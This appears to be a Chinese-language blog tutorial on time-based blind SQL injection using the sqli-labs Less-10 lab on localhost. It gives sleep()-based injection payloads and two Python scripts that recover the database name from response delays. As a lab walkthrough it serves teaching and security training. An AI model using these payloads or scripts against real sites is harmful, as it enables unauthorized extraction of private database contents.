# SQL 注入之时间盲注

在上一篇博客中,了解了布尔盲注,其实布尔盲注时间盲注大致相同,注入原理是一致的,区别就是一个还是有回显的,一个彻底没有回显,通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注。

先来学习一下时间盲注所需要的函数

sleep()//延迟函数
if(condition,true,false)//若条件为真 返回true,若条件为假 返回false
substring("string",strart,length)

主要的也就是这几个了,下面就通过 sqli-labs 第十关来练习时间盲注

# 尝试注入报错

http://127.0.0.1/sqli/Less-10/?id=1'

image-20221001170904491

http://127.0.0.1/sqli/Less-10/?id=1'"

image-20221001170453268

构造 and 1 条件,然后使用 if 条件语句包含时间盲注。

如果 database () 的长度大于 5,那么返回 1,否则延迟 10s

?id=1" and if(length(database())>5,1,sleep(10))--+

image-20221001175533536

将长度改为和 10 进行比较

http://127.0.0.1/sqli/Less-10/?id=1" and if(length(database())>10,1,sleep(10))--+

开始转圈等待 10s 了,所以存在时间盲注条件。

image-20221001184209796

手工注入太浪费时间,开始研究脚本爆破

# 尝试脚本爆破

时间盲注只需要这两个模块,一个获取时间,一个请求网址

import time
import requests

全局就定义了 1 个参数,数据库可能采用的字符

words = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}, "

判断 database () 长度的函数,也就是数据库名的长度,可以减少判断数据库名的时间,可以修改 length () 内部的参数来判断其他变量的长度,减少跑出名字的时间

import time
import requests

words = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}, "

def target_length():
length = 0
for i in range(1, 15):
url = "http://127.0.0.1/sqli/Less-10/?id=1\" and if(length(database())=%d,sleep(2),0)" %(i)
url = url+'%23'
print(url) #可输出测试是否写错
start_time = time.time()#请求开始的时间
requests.get(url)
end_time = time.time()#请求结束的时间
t = end_time - start_time#时间差
if t >= 1:
length = i
break
print("target_lenght is: ", length)

def target_name():
name = ''
for i in range(1, 10):
for j in words:
#url = "http://127.0.0.1/sqli/Less-10/?id=1\" and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database(),%d,1)=ord('%s')),sleep(1),0) --+" %(i,j)
url = "http://127.0.0.1/sqli/Less-10/?id=1\" and if(ascii(substr(database(),%d,1))=ord('%s'),sleep(2),0) --+" %(i,j)
url = url+'%23'
print(url) #可输出测试是否写错
start_time = time.time()#请求开始的时间
requests.get(url)
end_time = time.time()#请求结束的时间
t = end_time - start_time#时间差
if t >= 1:
name += j
break
print("target_name is: "+ name)

#target_length()
target_name()

可以得出,长度为 8,库名为 security

image-20221001200020143

接下来就改改 url 就可以爆破其他值了。

通用 GET类型时间盲注 题目脚本小练习

import time
import requests

key = 'Username: kevin'
words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.{}'
url = "http://127.0.0.1/SQLC/sql-2.php/SQl-4.php?id=1'"

def target_length():
length = 0
for i in range(1,15):
payload = " and if(length(database())={},sleep(2),0) %23".format(i)
print(url + payload) #可输出测试是否写错
start = time.time()
requests.get(url + payload)
end = time.time()
t = end - start
if t >=1 :
length = i
break
print("target_length is:", str(length))

def target_name(length):
name = ''
for i in range(1,length+1):
for j in words:
payload = " and if(ascii(mid(database(),{},1))=ord('{}'),sleep(2),0) %23".format(i,j)
print(url + payload)
start = time.time()
requests.get(url + payload)
end = time.time()
t = end - start
if t >=1 :
name += j
break
print("target_name is:", name)


#target_length() #结果为target_length is: 9
target_name(9) #参数填入上一步的结果

image-20221001213601177

至此,时间盲注演示完毕。